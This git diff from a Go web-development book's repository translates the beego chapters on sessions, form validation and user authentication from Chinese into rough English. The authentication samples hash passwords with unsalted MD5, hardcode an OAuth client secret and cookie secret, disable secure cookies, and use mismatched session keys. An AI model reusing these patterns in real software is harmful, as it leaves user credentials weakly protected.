_ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) + SessionGCMaxLifetime = int64val + } else { + SessionGCMaxLifetime = 3600 + } + +在beego.Run函数中增加如下代码: + + if SessionOn { + GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) + go GlobalSessions.GC() + } + +这样只要SessionOn设置为true,那么就会默认开启session功能,独立开一个goroutine来处理session。 + +为了方便我们在自定义Controller中快速使用session,作者在`beego.Controller`中提供了如下方法: + + func (c *Controller) StartSession() (sess session.Session) { + sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) + return + } + +## session使用 +通过上面的代码我们可以看到,beego框架简单地继承了session功能,那么在项目中如何使用呢? + +首先我们需要在应用的main入口处开启session: + + beego.SessionOn = true + + +然后我们就可以在控制器的相应方法中如下所示的使用session了: + + func (this *MainController) Get() { + var intcount int + sess := this.StartSession() + count := sess.Get("count") + if count == nil { + intcount = 0 + } else { + intcount = count.(int) + } + intcount = intcount + 1 + sess.Set("count", intcount) + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.Data["Count"] = intcount + this.TplNames = "index.tpl" + } + +上面的代码展示了如何在控制逻辑中使用session,主要分两个步骤: + +1. 获取session对象 + + //获取对象,类似PHP中的session_start() + sess := this.StartSession() + +2. 使用session进行一般的session值操作 + + //获取session值,类似PHP中的$_SESSION["count"] + sess.Get("count") + + //设置session值 + sess.Set("count", intcount) + +从上面代码可以看出基于beego框架开发的应用中使用session相当方便,基本上和PHP中调用`session_start()`类似。 + + +## links + * [目录]() + * 上一节: [静态文件支持](<14.1.md>) + * 下一节: [表单及验证支持](<14.3.md>) \ No newline at end of file diff --git a/en/14.3.md b/en/14.3.md index c6c20ad2..087bc35e 100644 --- a/en/14.3.md +++ b/en/14.3.md @@ -1,281 +1,350 @@ -# 14.3 表单及验证支持 -在Web开发中对于这样的一个流程可能很眼熟: - -- 打开一个网页显示出表单。 -- 用户填写并提交了表单。 -- 如果用户提交了一些无效的信息,或者可能漏掉了一个必填项,表单将会连同用户的数据和错误问题的描述信息返回。 -- 用户再次填写,继续上一步过程,直到提交了一个有效的表单。 - -在接收端,脚本必须: - -- 检查用户递交的表单数据。 -- 验证数据是否为正确的类型,合适的标准。例如,如果一个用户名被提交,它必须被验证是否只包含了允许的字符。它必须有一个最小长度,不能超过最大长度。用户名不能与已存在的他人用户名重复,甚至是一个保留字等。 -- 过滤数据并清理不安全字符,保证逻辑处理中接收的数据是安全的。 -- 如果需要,预格式化数据(数据需要清除空白或者经过HTML编码等等。) -- 准备好数据,插入数据库。 - -尽管上面的过程并不是很复杂,但是通常情况下需要编写很多代码,而且为了显示错误信息,在网页中经常要使用多种不同的控制结构。创建表单验证虽简单,实施起来实在枯燥无味。 - -## 表单和验证 -对于开发者来说,一般开发过程都是相当复杂,而且大多是在重复一样的工作。假设一个场景项目中忽然需要增加一个表单数据,那么局部代码的整个流程都需要修改。我们知道Go里面struct是常用的一个数据结构,因此beego的form采用了struct来处理表单信息。 - -首先定义一个开发Web应用时相对应的struct,一个字段对应一个form元素,通过struct的tag来定义相应的元素信息和验证信息,如下所示: - - type User struct{ - Username string `form:text,valid:required` - Nickname string `form:text,valid:required` - Age int `form:text,valid:required|numeric` - Email string `form:text,valid:required|valid_email` - Introduce string `form:textarea` - } - -定义好struct之后接下来在controller中这样操作 - - func (this *AddController) Get() { - this.Data["form"] = beego.Form(&User{}) - this.Layout = "admin/layout.html" - this.TplNames = "admin/add.tpl" - } - -在模板中这样显示表单 - -

New Blog Post

-
- {{.form.render()}} -
- -上面我们定义好了整个的第一步,从struct到显示表单的过程,接下来就是用户填写信息,服务器端接收数据然后验证,最后插入数据库。 - - func (this *AddController) Post() { - var user User - form := this.GetInput(&user) - if !form.Validates() { - return - } - models.UserInsert(&user) - this.Ctx.Redirect(302, "/admin/index") - } - -## 表单类型 -以下列表列出来了对应的form元素信息: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
名称参数功能描述
textNotextbox输入框
buttonNo按钮
checkboxNo多选择框
dropdownNo下拉选择框
fileNo文件上传
hiddenNo隐藏元素
passwordNo密码输入框
radioNo单选框
textareaNo文本输入框
- - -## 表单验证 -以下列表将列出可被使用的原生规则 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规则参数描述举例
requiredNo如果元素为空,则返回FALSE 
matchesYes如果表单元素的值与参数中对应的表单字段的值不相等,则返回FALSEmatches[form_item]
is_uniqueYes如果表单元素的值与指定数据表栏位有重复,则返回False(译者注:比如is_unique[User.Email],那么验证类会去查找User表中Email栏位有没有与表单元素一样的值,如存重复,则返回false,这样开发者就不必另写Callback验证代码。)is_unique[table.field]
min_lengthYes如果表单元素值的字符长度少于参数中定义的数字,则返回FALSEmin_length[6]
max_lengthYes如果表单元素值的字符长度大于参数中定义的数字,则返回FALSEmax_length[12]
exact_lengthYes如果表单元素值的字符长度与参数中定义的数字不符,则返回FALSEexact_length[8]
greater_thanYes如果表单元素值是非数字类型,或小于参数定义的值,则返回FALSEgreater_than[8]
less_thanYes如果表单元素值是非数字类型,或大于参数定义的值,则返回FALSEless_than[8]
alphaNo如果表单元素值中包含除字母以外的其他字符,则返回FALSE 
alpha_numericNo如果表单元素值中包含除字母和数字以外的其他字符,则返回FALSE 
alpha_dashNo如果表单元素值中包含除字母/数字/下划线/破折号以外的其他字符,则返回FALSE 
numericNo如果表单元素值中包含除数字以外的字符,则返回 FALSE 
integerNo如果表单元素中包含除整数以外的字符,则返回FALSE 
decimalYes如果表单元素中输入(非小数)不完整的值,则返回FALSE 
is_naturalNo如果表单元素值中包含了非自然数的其他数值 (其他数值不包括零),则返回FALSE。自然数形如:0,1,2,3....等等。 
is_natural_no_zeroNo如果表单元素值包含了非自然数的其他数值 (其他数值包括零),则返回FALSE。非零的自然数:1,2,3.....等等。 
valid_emailNo如果表单元素值包含不合法的email地址,则返回FALSE 
valid_emailsNo如果表单元素值中任何一个值包含不合法的email地址(地址之间用英文逗号分割),则返回FALSE。 
valid_ipNo如果表单元素的值不是一个合法的IP地址,则返回FALSE。 
valid_base64No如果表单元素的值包含除了base64 编码字符之外的其他字符,则返回FALSE。 
- - -## links - * [目录]() - * 上一节: [Session支持](<14.2.md>) - * 下一节: [用户认证](<14.4.md>) \ No newline at end of file +# 14.3 Form + +In Web Development For such a process may be very familiar: + +- Open a web page showing the form. +- Users fill out and submit the form. +- If a user submits some invalid information, or you might have missed a required item, the form will be together with the user's data and the error description of the problem to return. +- Users fill in again to continue the previous step process until the submission of a valid form. + +At the receiving end, the script must: + +- Check the user submitted form data. +- Verify whether the data is the correct type, the appropriate standard. For example, if a user name is submitted, it must be verified whether or contains only characters allowed. It must have a minimum length can not exceed the maximum length. User name can not already exist with others duplicate user name, or even a reserved word and so on. +- Filtering data and clean up the unsafe character that guarantees a logic processing received data is safe. +- If necessary, pre-formatted data( or data gaps need to be cleared through the HTML coding and so on. ) +- Preparing the data into the database. + +While the above process is not very complex, but usually need to write a lot of code, and in order to display an error message on the page often use a variety of different control structures. Create a form validation, although simple to implement it boring. + +## Forms and validation + +For developers, the general development process is very complex, and mostly are repeating the same work. Assuming a scenario project suddenly need to add a form data, then the local code of the entire process needs to be modified. We know that Go inside a struct is a common data structure, so beego the form struct used to process form information. + +First define a developing Web applications corresponding struct, a field corresponds to a form element, through the struct tag to define the corresponding element information and authentication information, as follows: + + type User struct{ + Username string `form:text,valid:required` + Nickname string `form:text,valid:required` + Age int `form:text,valid:required|numeric` + Email string `form:text,valid:required|valid_email` + Introduce string `form:textarea` + } + +Struct defined in this way after the next operation in the controller + + func (this *AddController) Get() { + this.Data["form"] = beego.Form(&User{}) + this.Layout = "admin/layout.html" + this.TplNames = "admin/add.tpl" + } + +This form is displayed in the template + +

New Blog Post

+
+ {{.form.render()}} +
+ +Above we defined the entire first step to display the form from the struct process, the next step is the user fill out the information, and then verify that the server receives data, and finally into the database. + + func (this *AddController) Post() { + var user User + form := this.GetInput(&user) + if !form.Validates() { + return + } + models.UserInsert(&user) + this.Ctx.Redirect(302, "/admin/index") + } + +## Form type + +The following list to the corresponding form element information: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameparameterDescription
text + Notextbox input box
button + Nobutton
checkbox + Nomulti-select box
dropdown + Nodrop-down selection box
file + Nofile upload
hidden + Nohidden elements
password + Nopassword input box
radio + Nosingle box
textarea + Notext input box
+ + +## Forms authentication + +The following list may be used are listed rules native: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
rulesparameterDescriptionExample
required + NoIf the element is empty, it returns FALSE
matches + Yesif the form element's value with the corresponding form field parameter values are not equal, then return + FALSEmatches [form_item]
is_unique + Yesif the form element's value with the specified field in a table have duplicate data, it returns False( Translator's + Note: For example is_unique [User.Email], then the validation class will look for the User table in the + Email field there is no form elements with the same value, such as deposit repeat, it returns false, so + developers do not have to write another Callback verification code.)is_unique [table.field]
min_length + Yesform element values if the character length is less than the number defined parameters, it returns FALSEmin_length [6]
max_length + Yesif the form element's value is greater than the length of the character defined numeric argument, it returns + FALSEmax_length [12]
exact_length + Yesif the form element values and parameters defined character length number does not match, it returns FALSEexact_length [8]
greater_than + YesIf the form element values non- numeric types, or less than the value defined parameters, it returns FALSEgreater_than [8]
less_than + YesIf the form element values non- numeric types, or greater than the value defined parameters, it returns FALSEless_than [8]
alpha + NoIf the form element value contains characters other than letters besides, it returns FALSE
alpha_numeric + NoIf the form element values contained in addition to letters and other characters other than numbers, it returns + FALSE
alpha_dash + NoIf the form element value contains in addition to the letter/ number/ underline/ characters other than dash, + returns FALSE
numeric + NoIf the form element value contains characters other than numbers in addition, it returns FALSE
integer + Noexcept if the form element contains characters other than an integer, it returns FALSE
decimal + YesIf the form element type( non- decimal ) is not complete, it returns FALSE
is_natural + Novalue if the form element contains a number of other unnatural values ( other values excluding zero ), it + returns FALSE. Natural numbers like this: 0,1,2,3.... and so on.
is_natural_no_zero + Novalue if the form element contains a number of other unnatural values ( other values including zero ), it + returns FALSE. Nonzero natural numbers: 1,2,3..... and so on.
valid_email + NoIf the form element value contains invalid email address, it returns FALSE
valid_emails + Noform element values if any one value contains invalid email address( addresses separated by commas in English + ), it returns FALSE.
valid_ip + Noif the form element's value is not a valid IP address, it returns FALSE.
valid_base64 + Noif the form element's value contains the base64-encoded characters in addition to other than the characters, + returns FALSE.
+ +## Links + +- [Directory](preface.md) +- Previous section: [Session](14.2.md) +- Next section: [User validation](14.4.md) + diff --git a/en/14.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/14.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..bcd05f20 --- /dev/null +++ b/en/14.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,281 @@ +# 14.3 表单及验证支持 +在Web开发中对于这样的一个流程可能很眼熟: + +- 打开一个网页显示出表单。 +- 用户填写并提交了表单。 +- 如果用户提交了一些无效的信息,或者可能漏掉了一个必填项,表单将会连同用户的数据和错误问题的描述信息返回。 +- 用户再次填写,继续上一步过程,直到提交了一个有效的表单。 + +在接收端,脚本必须: + +- 检查用户递交的表单数据。 +- 验证数据是否为正确的类型,合适的标准。例如,如果一个用户名被提交,它必须被验证是否只包含了允许的字符。它必须有一个最小长度,不能超过最大长度。用户名不能与已存在的他人用户名重复,甚至是一个保留字等。 +- 过滤数据并清理不安全字符,保证逻辑处理中接收的数据是安全的。 +- 如果需要,预格式化数据(数据需要清除空白或者经过HTML编码等等。) +- 准备好数据,插入数据库。 + +尽管上面的过程并不是很复杂,但是通常情况下需要编写很多代码,而且为了显示错误信息,在网页中经常要使用多种不同的控制结构。创建表单验证虽简单,实施起来实在枯燥无味。 + +## 表单和验证 +对于开发者来说,一般开发过程都是相当复杂,而且大多是在重复一样的工作。假设一个场景项目中忽然需要增加一个表单数据,那么局部代码的整个流程都需要修改。我们知道Go里面struct是常用的一个数据结构,因此beego的form采用了struct来处理表单信息。 + +首先定义一个开发Web应用时相对应的struct,一个字段对应一个form元素,通过struct的tag来定义相应的元素信息和验证信息,如下所示: + + type User struct{ + Username string `form:text,valid:required` + Nickname string `form:text,valid:required` + Age int `form:text,valid:required|numeric` + Email string `form:text,valid:required|valid_email` + Introduce string `form:textarea` + } + +定义好struct之后接下来在controller中这样操作 + + func (this *AddController) Get() { + this.Data["form"] = beego.Form(&User{}) + this.Layout = "admin/layout.html" + this.TplNames = "admin/add.tpl" + } + +在模板中这样显示表单 + +

New Blog Post

+
+ {{.form.render()}} +
+ +上面我们定义好了整个的第一步,从struct到显示表单的过程,接下来就是用户填写信息,服务器端接收数据然后验证,最后插入数据库。 + + func (this *AddController) Post() { + var user User + form := this.GetInput(&user) + if !form.Validates() { + return + } + models.UserInsert(&user) + this.Ctx.Redirect(302, "/admin/index") + } + +## 表单类型 +以下列表列出来了对应的form元素信息: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称参数功能描述
textNotextbox输入框
buttonNo按钮
checkboxNo多选择框
dropdownNo下拉选择框
fileNo文件上传
hiddenNo隐藏元素
passwordNo密码输入框
radioNo单选框
textareaNo文本输入框
+ + +## 表单验证 +以下列表将列出可被使用的原生规则 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规则参数描述举例
requiredNo如果元素为空,则返回FALSE 
matchesYes如果表单元素的值与参数中对应的表单字段的值不相等,则返回FALSEmatches[form_item]
is_uniqueYes如果表单元素的值与指定数据表栏位有重复,则返回False(译者注:比如is_unique[User.Email],那么验证类会去查找User表中Email栏位有没有与表单元素一样的值,如存重复,则返回false,这样开发者就不必另写Callback验证代码。)is_unique[table.field]
min_lengthYes如果表单元素值的字符长度少于参数中定义的数字,则返回FALSEmin_length[6]
max_lengthYes如果表单元素值的字符长度大于参数中定义的数字,则返回FALSEmax_length[12]
exact_lengthYes如果表单元素值的字符长度与参数中定义的数字不符,则返回FALSEexact_length[8]
greater_thanYes如果表单元素值是非数字类型,或小于参数定义的值,则返回FALSEgreater_than[8]
less_thanYes如果表单元素值是非数字类型,或大于参数定义的值,则返回FALSEless_than[8]
alphaNo如果表单元素值中包含除字母以外的其他字符,则返回FALSE 
alpha_numericNo如果表单元素值中包含除字母和数字以外的其他字符,则返回FALSE 
alpha_dashNo如果表单元素值中包含除字母/数字/下划线/破折号以外的其他字符,则返回FALSE 
numericNo如果表单元素值中包含除数字以外的字符,则返回 FALSE 
integerNo如果表单元素中包含除整数以外的字符,则返回FALSE 
decimalYes如果表单元素中输入(非小数)不完整的值,则返回FALSE 
is_naturalNo如果表单元素值中包含了非自然数的其他数值 (其他数值不包括零),则返回FALSE。自然数形如:0,1,2,3....等等。 
is_natural_no_zeroNo如果表单元素值包含了非自然数的其他数值 (其他数值包括零),则返回FALSE。非零的自然数:1,2,3.....等等。 
valid_emailNo如果表单元素值包含不合法的email地址,则返回FALSE 
valid_emailsNo如果表单元素值中任何一个值包含不合法的email地址(地址之间用英文逗号分割),则返回FALSE。 
valid_ipNo如果表单元素的值不是一个合法的IP地址,则返回FALSE。 
valid_base64No如果表单元素的值包含除了base64 编码字符之外的其他字符,则返回FALSE。 
+ + +## links + * [目录]() + * 上一节: [Session支持](<14.2.md>) + * 下一节: [用户认证](<14.4.md>) \ No newline at end of file diff --git a/en/14.4.md b/en/14.4.md index 79cbb1bf..4d2fc8f0 100644 --- a/en/14.4.md +++ b/en/14.4.md @@ -1,259 +1,264 @@ -# 14.4 用户认证 -在开发Web应用过程中,用户认证是开发者经常遇到的问题,用户登录、注册、登出等操作,而一般认证也分为三个方面的认证 - -- HTTP Basic和 HTTP Digest认证 -- 第三方集成认证:QQ、微博、豆瓣、OPENID、google、github、facebook和twitter等 -- 自定义的用户登录、注册、登出,一般都是基于session、cookie认证 - -beego目前没有针对这三种方式进行任何形式的集成,但是可以充分的利用第三方开源库来实现上面的三种方式的用户认证,不过后续beego会对前面两种认证逐步集成。 - -## HTTP Basic和 HTTP Digest认证 -这两个认证是一些应用采用的比较简单的认证,目前已经有开源的第三方库支持这两个认证: - - github.com/abbot/go-http-auth - -下面代码演示了如何把这个库引入beego中从而实现认证: - - package controllers - - import ( - "github.com/abbot/go-http-auth" - "github.com/astaxie/beego" - ) - - func Secret(user, realm string) string { - if user == "john" { - // password is "hello" - return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" - } - return "" - } - - type MainController struct { - beego.Controller - } - - func (this *MainController) Prepare() { - a := auth.NewBasicAuthenticator("example.com", Secret) - if username := a.CheckAuth(this.Ctx.Request); username == "" { - a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) - } - } - - func (this *MainController) Get() { - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.TplNames = "index.tpl" - } - -上面代码利用了beego的prepare函数,在执行正常逻辑之前调用了认证函数,这样就非常简单的实现了http auth,digest的认证也是同样的原理。 - -## oauth和oauth2的认证 -oauth和oauth2是目前比较流行的两种认证方式,还好第三方有一个库实现了这个认证,但是是国外实现的,并没有QQ、微博之类的国内应用认证集成: - - github.com/bradrydzewski/go.auth - -下面代码演示了如何把该库引入beego中从而实现oauth的认证,这里以github为例演示: - -1. 添加两条路由 - - beego.RegisterController("/auth/login", &controllers.GithubController{}) - beego.RegisterController("/mainpage", &controllers.PageController{}) - -2. 然后我们处理GithubController登陆的页面: - - package controllers - - import ( - "github.com/astaxie/beego" - "github.com/bradrydzewski/go.auth" - ) - - const ( - githubClientKey = "a0864ea791ce7e7bd0df" - githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" - ) - - type GithubController struct { - beego.Controller - } - - func (this *GithubController) Get() { - // set the auth parameters - auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") - auth.Config.LoginSuccessRedirect = "/mainpage" - auth.Config.CookieSecure = false - - githubHandler := auth.Github(githubClientKey, githubSecretKey) - - githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) - } - - -3. 处理登陆成功之后的页面 - - package controllers - - import ( - "github.com/astaxie/beego" - "github.com/bradrydzewski/go.auth" - "net/http" - "net/url" - ) - - type PageController struct { - beego.Controller - } - - func (this *PageController) Get() { - // set the auth parameters - auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") - auth.Config.LoginSuccessRedirect = "/mainpage" - auth.Config.CookieSecure = false - - user, err := auth.GetUserCookie(this.Ctx.Request) - - //if no active user session then authorize user - if err != nil || user.Id() == "" { - http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) - return - } - - //else, add the user to the URL and continue - this.Ctx.Request.URL.User = url.User(user.Id()) - this.Data["pic"] = user.Picture() - this.Data["id"] = user.Id() - this.Data["name"] = user.Name() - this.TplNames = "home.tpl" - } - -整个的流程如下,首先打开浏览器输入地址: - -![](images/14.4.github.png?raw=true) - -图14.4 显示带有登录按钮的首页 - -然后点击链接出现如下界面: - -![](images/14.4.github2.png?raw=true) - -图14.5 点击登录按钮后显示github的授权页 - -然后点击Authorize app就出现如下界面: - -![](images/14.4.github3.png?raw=true) - -图14.6 授权登录之后显示的获取到的github信息页 - -## 自定义认证 -自定义的认证一般都是和session结合验证的,如下代码来源于一个基于beego的开源博客: - - - //登陆处理 - func (this *LoginController) Post() { - this.TplNames = "login.tpl" - this.Ctx.Request.ParseForm() - username := this.Ctx.Request.Form.Get("username") - password := this.Ctx.Request.Form.Get("password") - md5Password := md5.New() - io.WriteString(md5Password, password) - buffer := bytes.NewBuffer(nil) - fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) - newPass := buffer.String() - - now := time.Now().Format("2006-01-02 15:04:05") - - userInfo := models.GetUserInfo(username) - if userInfo.Password == newPass { - var users models.User - users.Last_logintime = now - models.UpdateUserInfo(users) - - //登录成功设置session - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess.Set("uid", userInfo.Id) - sess.Set("uname", userInfo.Username) - - this.Ctx.Redirect(302, "/") - } - } - - //注册处理 - func (this *RegController) Post() { - this.TplNames = "reg.tpl" - this.Ctx.Request.ParseForm() - username := this.Ctx.Request.Form.Get("username") - password := this.Ctx.Request.Form.Get("password") - usererr := checkUsername(username) - fmt.Println(usererr) - if usererr == false { - this.Data["UsernameErr"] = "Username error, Please to again" - return - } - - passerr := checkPassword(password) - if passerr == false { - this.Data["PasswordErr"] = "Password error, Please to again" - return - } - - md5Password := md5.New() - io.WriteString(md5Password, password) - buffer := bytes.NewBuffer(nil) - fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) - newPass := buffer.String() - - now := time.Now().Format("2006-01-02 15:04:05") - - userInfo := models.GetUserInfo(username) - - if userInfo.Username == "" { - var users models.User - users.Username = username - users.Password = newPass - users.Created = now - users.Last_logintime = now - models.AddUser(users) - - //登录成功设置session - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess.Set("uid", userInfo.Id) - sess.Set("uname", userInfo.Username) - this.Ctx.Redirect(302, "/") - } else { - this.Data["UsernameErr"] = "User already exists" - } - - } - - func checkPassword(password string) (b bool) { - if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { - return false - } - return true - } - - func checkUsername(username string) (b bool) { - if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { - return false - } - return true - } - -有了用户登陆和注册之后,其他模块的地方可以增加如下这样的用户是否登陆的判断: - - func (this *AddBlogController) Prepare() { - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess_uid := sess.Get("userid") - sess_username := sess.Get("username") - if sess_uid == nil { - this.Ctx.Redirect(302, "/admin/login") - return - } - this.Data["Username"] = sess_username - } - -## links - * [目录]() - * 上一节: [表单及验证支持](<14.3.md>) - * 下一节: [多语言支持](<14.5.md>) \ No newline at end of file +# 14.4 User validation + +In the process of developing Web applications, user authentication is frequently encountered problems developers, user log in, registration, log out and other operations, and the general certification is also divided into three aspects of certification + +- HTTP Basic and HTTP Digest Authentication +- Third Party Certified Integration: QQ, micro-blogging, watercress, OPENID, Google, GitHub, Facebook and twitter, etc. +- Custom user log in, registration, log out, are generally based on session, cookie authentication + +beego There is no way for any of these three forms of integration, but can make use of third party open source library to achieve the above three methods of user authentication, but the first two subsequent authentication beego be gradually integrated. + +## HTTP basic and digest authentication + +These two certifications are some applications using relatively simple authentication, there are already open source third-party library supports both authentication: + + github.com/abbot/go-http-auth + +The following code demonstrates how to use this library in order to achieve the introduction of beego Certification: + + + package controllers + + import ( + "github.com/abbot/go-http-auth" + "github.com/astaxie/beego" + ) + + func Secret(user, realm string) string { + if user == "john" { + // password is "hello" + return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" + } + return "" + } + + type MainController struct { + beego.Controller + } + + func (this *MainController) Prepare() { + a := auth.NewBasicAuthenticator("example.com", Secret) + if username := a.CheckAuth(this.Ctx.Request); username == "" { + a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) + } + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +The above code takes advantage of beego the prepare function in the normal logic function is called before the certification, so it is very simple to achieve a http auth, digest authentication is the same principle. + +## OAuth and OAuth 2 certification + +OAuth and OAuth 2 is currently more popular two authentication methods, but fortunately, there is a third-party library to achieve this certification, but it is realized abroad, and did not QQ, microblogging like domestic application certified integration: + + github.com/bradrydzewski/go.auth + +The following code demonstrates how to put the library in order to achieve the introduction of beego OAuth authentication, an example to demonstrate GitHub here: + +1. Add two routes + + beego.RegisterController("/auth/login", &controllers.GithubController{}) + beego.RegisterController("/mainpage", &controllers.PageController{}) + +2. Then we deal GithubController landing page: + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + ) + + const ( + githubClientKey = "a0864ea791ce7e7bd0df" + githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" + ) + + type GithubController struct { + beego.Controller + } + + func (this *GithubController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + githubHandler := auth.Github(githubClientKey, githubSecretKey) + + githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) + } + +3. treatment after successful landing pages + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + "net/http" + "net/url" + ) + + type PageController struct { + beego.Controller + } + + func (this *PageController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + user, err := auth.GetUserCookie(this.Ctx.Request) + + //if no active user session then authorize user + if err != nil || user.Id() == "" { + http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) + return + } + + //else, add the user to the URL and continue + this.Ctx.Request.URL.User = url.User(user.Id()) + this.Data["pic"] = user.Picture() + this.Data["id"] = user.Id() + this.Data["name"] = user.Name() + this.TplNames = "home.tpl" + } + +The whole process is as follows, first open your browser and enter the address: + +![](images/14.4.github.png?raw=true) + +Figure 14.4 shows the home page with a log in button + +Then click on the link following screen appears: + +![](images/14.4.github2.png?raw=true) + +Figure 14.5 is displayed after clicking the log in button authorization GitHub page + +Then click Authorize app will appear the following interface: + +![](images/14.4.github3.png?raw=true) + +Figure 14.6 is displayed after log in authorization to obtain information page GitHub + +## Custom authentication + +Custom authentication and session are generally a combination of proven, the following code from an open source based beego blog: + + //Login process + func (this *LoginController) Post() { + this.TplNames = "login.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + if userInfo.Password == newPass { + var users models.User + users.Last_logintime = now + models.UpdateUserInfo(users) + + //Set the session successful login + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + + this.Ctx.Redirect(302, "/") + } + } + + //Registration process + func (this *RegController) Post() { + this.TplNames = "reg.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + usererr := checkUsername(username) + fmt.Println(usererr) + if usererr == false { + this.Data["UsernameErr"] = "Username error, Please to again" + return + } + + passerr := checkPassword(password) + if passerr == false { + this.Data["PasswordErr"] = "Password error, Please to again" + return + } + + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + + if userInfo.Username == "" { + var users models.User + users.Username = username + users.Password = newPass + users.Created = now + users.Last_logintime = now + models.AddUser(users) + + //Set the session successful login + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + this.Ctx.Redirect(302, "/") + } else { + this.Data["UsernameErr"] = "User already exists" + } + + } + + func checkPassword(password string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { + return false + } + return true + } + + func checkUsername(username string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { + return false + } + return true + } + +With the user log in and registration, where you can add other modules such as the judgment of whether the user log in: + + func (this *AddBlogController) Prepare() { + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess_uid := sess.Get("userid") + sess_username := sess.Get("username") + if sess_uid == nil { + this.Ctx.Redirect(302, "/admin/login") + return + } + this.Data["Username"] = sess_username + } + +## Links + +- [Directory](preface.md) +- Previous section: [Form](14.3.md) +- Next section: [Multi-language support](14.5.md) + diff --git a/en/eBook/14.4.md b/en/14.4.md~380a8ee74c41759d8189ad553423467994187253 similarity index 64% rename from en/eBook/14.4.md rename to en/14.4.md~380a8ee74c41759d8189ad553423467994187253 index 4d2fc8f0..44036fc7 100644 --- a/en/eBook/14.4.md +++ b/en/14.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -1,21 +1,18 @@ -# 14.4 User validation +# 14.4 用户认证 